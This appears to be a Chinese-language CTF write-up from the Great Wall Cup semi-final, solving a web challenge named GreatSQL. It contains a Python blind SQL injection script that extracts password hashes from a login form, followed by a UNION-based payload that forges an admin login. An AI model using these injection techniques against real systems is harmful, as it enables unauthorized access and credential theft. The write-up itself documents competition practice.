0%

长城杯复赛

长城杯复赛

线下赛没有线上紧张,第一是自己的事情,第二不用抢题做,大概我还在愚昧之峰;

Web

GreatSQL

说是 sqlmap 可以梭?倒显得我不会用 sqlmap 了;

一个登录框,登录成功即可获得 flag ;

会提示用户是否存在,随便试了几个,admin 不存在,user 存在;

盲注爆一下 user 的密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://39.106.48.123:39446/login"
if __name__ == "__main__":
right_password = ''
for password_i in range (50):
for char in '1234567890qwertyuiopasdfghjklzxcvbnm':
ascii_i = ord(char)
data = {"username":f"user\'and ascii(substr(password,{password_i},1))={ascii_i};#","password":"qst"}
resp = requests.post(url=url,data = data)
if len(resp.text) == 4:
print(ascii_i,end='')
right_password = right_password+chr(ascii_i)
print(f'now:{right_password}')
print(password_i)
# now:e10adc3949ba59abbe56e057f20f883e

爆 md5,密码是 md5('123456')

登录提示要 login as admin,类似盲注爆一下用户名,爆出 test,pika 两个,分别爆密码:

1
2
3
4
5
6
7
# test
# now:098f6bcd4621d373cade4e832627b4f6
# md5('test')

# pika
# now:81ccafb8ef19e583f737f569c51d3cde
# not a weak md5

登了没用,没有 admin;

sql 执行出错会报不存在,测一下后台 select 的列数,username 为user' union select 1,2,3,4 显示密码错误而非不存在,说明结果有四列;

最终 payload:

urlencode('username=usr' union select 1,2,'e10adc3949ba59abbe56e057f20f883e','admin';#&password=123456)

Todo List

需要看一些 Java,我总感觉 OpenGauss 连网条件下应该很简单;

还需要学学如何配网;

然后把 sqlmap 用明白。